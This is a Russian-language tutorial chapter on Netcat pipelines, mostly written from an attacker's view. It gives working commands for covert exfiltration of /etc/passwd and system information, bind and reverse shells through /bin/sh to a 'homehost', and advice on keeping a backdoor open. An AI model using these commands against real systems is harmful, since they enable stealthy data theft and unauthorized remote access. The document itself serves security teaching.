Инструментальные средства обеспечения безопасности

Создание конвейеров данных: создай собственный FTP


Netcat позволяет создавать конвейеры данных. Какую выгоду можно извлечь из этой возможности?

Передача данных через фильтры. Подав входной и выходной файлы на оба конца конвейера, вы можете пересылать или копировать файлы из одной сети в другую, не используя никаких "официальных" протоколов передачи файлов. Если у вас есть доступ к программному интерпретатору на компьютере, но нет возможности запустить какой либо способ передачи файлов из-за того, что с использованием фильтров заблокированы возможности FTP, NFS (Network File System), или Samba, у вас есть выбор.

На стороне, где находится исходный файл, запустите команду:

nc -l -u -p 55555 < file_we_want

А на стороне клиента попытайтесь выполнить:

nc -u -targethost 55555 > copy_of_file

Осуществив соединение, можно немедленно передать файл. Закончив передачу с помощью команды EOF (CTRL-C), вы получите свой файл в целости и сохранности.

Скрытая передача файлов. Взломщики могут использовать Netcat для передачи файлов вовне системы, не используя для этого способы, доступные для контроля. В то время как использование FTP или Secure copy (scp) оставляет следы в системном журнале, Netcat - нет.

nc -l -u -p 55555 < /etc/passwd

Когда взломщик соединяется с этим UDP-портом, то похищает файл /etc/passwd, не оставляя никаких следов (исключая случай, когда в тот же момент системный администратор выполнит команду ps (статистика выполняемых процессов) или команду netstat).

Перехват вывода приложений. Влезем снова в шкуру взломщика. Предположим, вы написали скрипт, который выводит информацию из некоторых важных системных файлов на стандартный вывод (passwd, group, inetd.conf, hosts.allow и т.д.) и выполняет некоторые системные команды для получения справочной информации (uname, ps, netstat). Назовем этот скрипт "sysinfo". Чтобы достичь цели, выполним:

nc -l -u -p 55555 -e sysinfo

или

sysinfo | nc -l -u -p 55555

Вы можете перехватить вывод этой команды и поместить его в файл с названием sysinfo.txt.


nc-u target 55555 > sysinfo.txt

В чем разница? Обе команды перенаправляют вывод скрипта с помощью конвейера на Netcat, находящийся в режиме прослушивания, таким образом, что данные пересылаются вне сети через установленное кем-то соединение. Опция -e "передает" ввод/вывод приложению, которое выполняется. Когда скрипт sysinfo завершит свой вывод (вместе с командой EOF), прослушивающая программа завершит работу, и то же самое произойдет с клиентом на другой принимающей стороне. В случае если скрипт sysinfo будет поставлен на входе конвейера, его вывод по прежнему будет передаваться клиенту, но Netcat будет удерживать поток ввод/вывода. Клиент не получит на вход команду EOF и останется в ожидании передачи какой либо информации.

То же самое можно сказать и о "перевернутом" примере. Что будет, если вы работаете на машине, на которую передается информация, и хотите инициировать соединение с программой Netcat, находящейся в режиме прослушивания на вашей "домашней" машине? Если Netcat выполняет прослушивание на "домашнем" хосте, после запуска команды nc -l -u -p 55555 > sysinfo.txt, у вас вновь будут две возможности:

nc -u -e sysinfo homehost 55555

или

sysinfo | nc -u homehost 55555 Совет. В Unix-системах, если команда, которую вы хотите выполнить с использованием опции -e, находится вне текущей директории, из которой запущен Netcat, необходимо определить полное имя команды. Под управлением Windows Netcat может воспользоваться переменной %PATH% и не имеет таких ограничений.

Разница в использовании конвейера и состоит том, останется ли клиент открытым после того, как скрипт закончит свою работу. Использование опции -e указывает клиенту Netcat закончить работу немедленно после завершения работы скрипта sysinfo. Различие этих двух режимов работы становится совершенно очевидным, если вы хотите выполнить приложение на удаленном хосте и передать ввод/вывод через конвейер Netcat (как об этом говорилось в разделе "Получение удаленного доступа к командной оболочке").



Захват контроля над приложением. В разделе "Получение удаленного доступа к командной оболочке" мы описывали, как запустить удаленный командный интерпретатор на Windows-машине. Тоже можно сделать и на Unix-машине.

nc -u -l -p 55555 -e /bin/sh

Установите соединение с использованием nc -u targethost 55555. Интерпретатор запустится (/bin/sh), и вы получите возможность взаимодействовать с командным интерпретатором через конвейер. Опция -e полностью обеспечивает передачу ввода/вывода командному интерпретатору. Имейте в виду, что эта команда должна выполняться циклом в скрипте, если вы хотите оставить "черный ход" в систему открытым после завершения работы командного интерпретатора. При выходе из командного интерпретатора Netcat закроется на обеих сторонах соединения, как только закончит работу /bin/sh. Для Windows-версии Netcat того же результата можно достичь, используя опцию -L.

Как и в предыдущем примере, вы можете посылать данные ввода/вывода локального приложения Netcat, находящегося в режиме прослушивания (nc -u -l -p 55555), просто набрав следующую команду.

nc -u -e /bin/sh homehost 55555

Вы можете делать это в любом интерактивном приложении с продержкой текстового ввода без режимов управления терминалом (текстовый редактор vi, к примеру, не будет работать).

Совет. Возможно, вы не захотите использовать telnet-клиент для соединения с Netcat, поскольку telnet вносит слишком большое возмущение в работу командного интерпретатора. Вместо этого используйте Netcat для соединения в клиентском режиме.


Содержание раздела